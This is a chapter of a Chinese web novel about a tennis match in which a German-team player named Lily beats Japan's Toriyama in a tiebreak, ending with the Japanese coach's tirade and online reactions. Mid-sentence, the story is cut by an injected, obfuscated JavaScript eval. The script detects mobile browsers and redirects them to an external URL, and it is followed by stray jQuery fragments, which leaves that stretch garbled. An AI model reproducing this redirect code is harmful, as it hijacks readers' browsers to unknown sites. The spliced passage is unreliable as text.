“忍一忍。”


    “嘶。”莉莉被一下子扒开眼皮，不由瑟瑟发抖。


    不下雨的天气里，比赛场馆是大开顶棚的，此时明亮的阳光无遮无拦，照耀在中间的球场上。观众们把遮阳帽戴起来，看着医疗队入场，窃窃私语着。


    刚刚的风卷过场内，带来一阵沙尘。而莉莉立刻觉得眼眶里传来难以忍受的刺痛，急忙喊停。有限的3分钟时间内，医疗队简单检查了她的眼睛，并没有发现什么异物，只能拿生理盐水为她冲洗。


    眼部不适是莉莉很害怕遭遇的情况，大风扬尘、防晒霜混着汗流入眼睛都会导致刺激性疼痛、视力暂时模糊。


    虽说总比肌肉拉伤好，但她真的很怕被人扒拉眼睛！此人连眼药水都不敢直接滴，只敢挤在眼角、倾斜脑袋让它慢慢流进去，此时被如此粗暴对待，心理创伤比身体上的不适还让她难以忍受。


    她抖若筛糠，脚趾抓地，感觉这几分钟比任何时候都漫长难捱。


    冲洗结束后，莉莉浑身冷汗都下来了，神色仓皇茫然，眼角坠落的不知是盐水还是眼泪，流露着一丝脆弱和清丽，和刚刚场上的强势表现，对比十分强烈。


    樱乃清晰地听到隔壁女生抽气：“哎呀真可爱……”


    她面无表情，心中却自得：哼哼，她俩关系可好了，你们才比不了。


    这番折腾让莉莉有点萎靡，有点无从分辨——现在的难受是因为异物还在呢，还是刚刚冲的不舒服呢。但是滴答作响的时间不等人，她只好重新拎起球拍。


    不管说意外还比较倒霉，比赛本来就充满了不可预测性。第二盘上来，莉莉状态不是很好，而鸟山趁这一波调整策略，打的更聪明果断。


    由于第一盘对手的强势发挥，使得她必须想尽办法打破节奏，不管是下降期击球策略还是多样化、防守型切削，她得努力从那张大网里挣脱出来。


    在发球局就开始贯彻这个战术！鸟山下定决心，立刻在全场诧异中启用了全新的接发球方法。


    一记反手快拨，将球压回深区底线，直接得分，相当干脆利落。


    “Sneakattack？！”非常规击球意味着选手反应敏捷、手感出色，这一回击把大家都给看呆了，不得不说就是耳目一新、打的漂亮啊，顿时欢声雷动起来。


    “……”一向被队里说武器库多、战术多的莉莉，感觉像被一记耳光扇在脸上似的，有种被羞辱的无语：她的发球这么不行吗，对方都能用出半截击接发来了？


    像下手发球一样，偷袭接发也是一种颇具争议的打法，有人认为能用好是选手的本事，有人认为违背体育精神，是对发球方的不尊重。


    虽说规则允许在己方场地内外的任意位置接球，但常规接发往往站在底线附近。有时为了防范重炮发球，选手甚至还要再往后站1-2米左右。


    偷袭接发则采用站位前压，在对手发球触拍的同时，突然进场、直接上网，小引拍来个半截击，使得发球方难以招架。


    好接发，好战术。用的很巧妙，因为稍有不慎就会被判定为制造干扰、妨碍发球，使用干扰规则。但鸟山显然把时机把握的恰到好处。吃亏的一方这样想着。


    为什么偷袭接发不是主流，只能作为奇招，因为弊端大、破解容易。她在业余练球时，还见过接发站位在发球区线上的呢，同样也是打心理战，给对方施加压力。要打破这样的局面，只需要一个大力平击球，就能把对面从场内往后拉回底线。


    是因为她球发的不好，攻势太弱太软，抛球仰头的时机稍微提早了一些，就被对方毫不犹豫抓到这个机会。很大胆又惊险的招数，莉莉总是打乱别人的节奏，在这一刻却尝到了同样的滋味。


    精彩却争议，引得有人为鸟山喝彩，有人却表示抗议。德国队的支持者们认为这也太赖皮了，他们喜欢的是堂堂正正，才不屑用这样的得分手段。


    但不管怎么说并不违规，日本队还是拿到了这一分。鸟山用心理战展示出自己的威慑，向她宣告势必会全力抢二发的决心。


    对方的发球局，她是可以拼一拼的。人的发球状态总会高低起伏，趁手感还没起来，尽快拿分！一旦破发，肩上的压力会变小，否则陷入多拍僵持，对面的高强快让鸟山有点绷不住。


    同样的念头转过莉莉的头脑。为了封堵对面的偷袭接发，要么选择平击拿分，要么抛球时调整仰头角度，让对面始终处于眼角余光里。成功率直接关系到相持中的优势，要尽快打开局面。


    好快的球！鸟山的心几乎提到嗓子眼，如果过网进区的话，应该是本场比赛最快的发球了吧？威力惊人……这球再高十公分，她就危险了。会保持一发时速吗？还是降速求稳？……降速了！降低力量来提升落点精度，好刁钻的球路，还计算了她的防守范围了吗？


    会要打之前那种大斜线吗？什么站位，球速如何？拿不下这分，怕是要持续性背负风险，恶性循环……


    反拍对反拍，莉莉率先掉球了！有人似乎从她密不透风的攻势里撬开了裂缝，进而全面打穿。


    又是相持，防守中退到底线还能打出这么厉害的锐角球，鸟山的超水平发挥让大家瞪大了眼睛。可惜接下来她马上把球打飞，犯了非常离谱的失误。球直飞进观众席第一排，引来惊呼。狡猾，是熟悉的快慢球，是莉莉之前使用最熟练的那种模式。她差点忘了，她原本擅长的是这样的球路啊。


    还没成长到这个地步时，她最爱用的是忽快忽慢的打法。比如快速平击后接打弹跳平缓的旋球，比如让对面适应速度较慢的球后，就会觉得下一球特别快，难以抓到打点。


    但现在，掌握抢点打法的莉莉，已经不需要再费尽心计、算计到极致了，她的身体素质完全能打出球质更重、节奏更快的球，来高效挤压对方的空间。


    此时莉莉状态一般，打不出压迫性，反倒又露出几分往日的打法来。真是个恐怖的女人……面对一个能任意变换套路、适应不同场景的人，她究竟该怎么得分？


    连Sneakattack也没用，对面早


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012242|170273||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有防备，一个精准而突然的挑高球，让她来不及回撤，也不敢再轻易上网偷袭。


    实际上鸟山的发挥并不差，她竭尽所能，甚至比之前打的所有比赛都出色，莉莉的存在逼迫她提档到连自己都无法想象的高度。


    二区正手侧身攻，紧接着一个一区外角接球，这瞬息间的冲刺跑动比神经反射还快。见球最后落在自己这侧，莉莉睁大眼睛，露出无奈的笑，左手在球拍上拍了几下，表示对她的敬意。


    太强了！连看不起偷袭接发的观众也对鸟山改观了。莉莉的大角度变线是当时最优解，人人都以为会是她又一记绝妙的致胜分，只是都没算到对面发挥的过分出色。


    鸟山在超越自我。


    再称呼对方为磨刀石不太合适，但她确实在磨砺她的心志。


    双方最终拖入抢七，以德国队的胜出告终。败者第一次露出浓重的郁闷，却被场外猛然的掌声所惊到。


    人总是对失败方抱有无尽的同情和怜爱，尤其是她打的如此顽强和坚持。这些掌声为她而起，经久不息，鸟山纯怔怔站着，心里软了下来。


    莉莉和她握手，两人互相拥抱了一下。虽说依然没把对方逼到绝境，让她有点遗憾，但网坛没有常胜，她相信，未来她们会一直是对手，永远是对手。


    鸟山下场后，日本队的队友们凑过来，给了她大大的拥抱：“辛苦了，打的很好。”“真的太难对付了，换我早就泄气了……”


    指导员却快气晕了，一把拨开人群，脸上的怒火忍都忍不住，在场边劈头盖脸痛骂：“连第三盘都没打进，你怎么有脸向我毛遂自荐？这就是你苦练的ATP正手吗？连垃圾都不如！知不知道自己浪费了多少机会？给我滚去体能训练室！”


    那不是一分，那是JTA的颜面啊！已经被对方扇了一个又一个耳光，毫无尊严，沦为笑柄，还等着用这次机会扬眉吐气呢。一个被早早放弃的人转头成了对手，还痛快地打赢她们了！这是种怎样尴尬难堪的局面，她甚至都没勇气看直播评论。


    对方已经这么厉害了吗，鸟山可是队里排名第二的选手啊！她们绝对重视这场比赛，反复钻研了很久，却被对方直落两盘？


    赛前，她可是示意很多媒体跟进炒作的，只待她被击溃后，立刻带节奏说她“已经泯然众人”。但对方却越打越猛，扶摇直上，进U-17后公开比赛未尝一败，在德国队里是中流砥柱一样的存在，报道多、热度高、潜力巨大，已经有人猜测她到底什么时候转职业，预言她三年内必出成绩，完全把JTA推上了火刑架。


    网友们的评论烧的他们坐立不安，不敢吭气。


    “完辣，什么叫明珠蒙尘，好庆幸莉莉早早出国了！想告诉JTA一句话：用不到的眼睛可以捐掉^^啊不对，捐也没人要吧。”“拿着纳税人的钱，干的这叫什么事？”“心疼鸟山，她打的太好了！给我看怜爱了。”“对面这是完全体了吧……连胜成绩给我看傻眼了。”


    鸟山漂亮的脸上一丝表情都没有，她身心俱疲。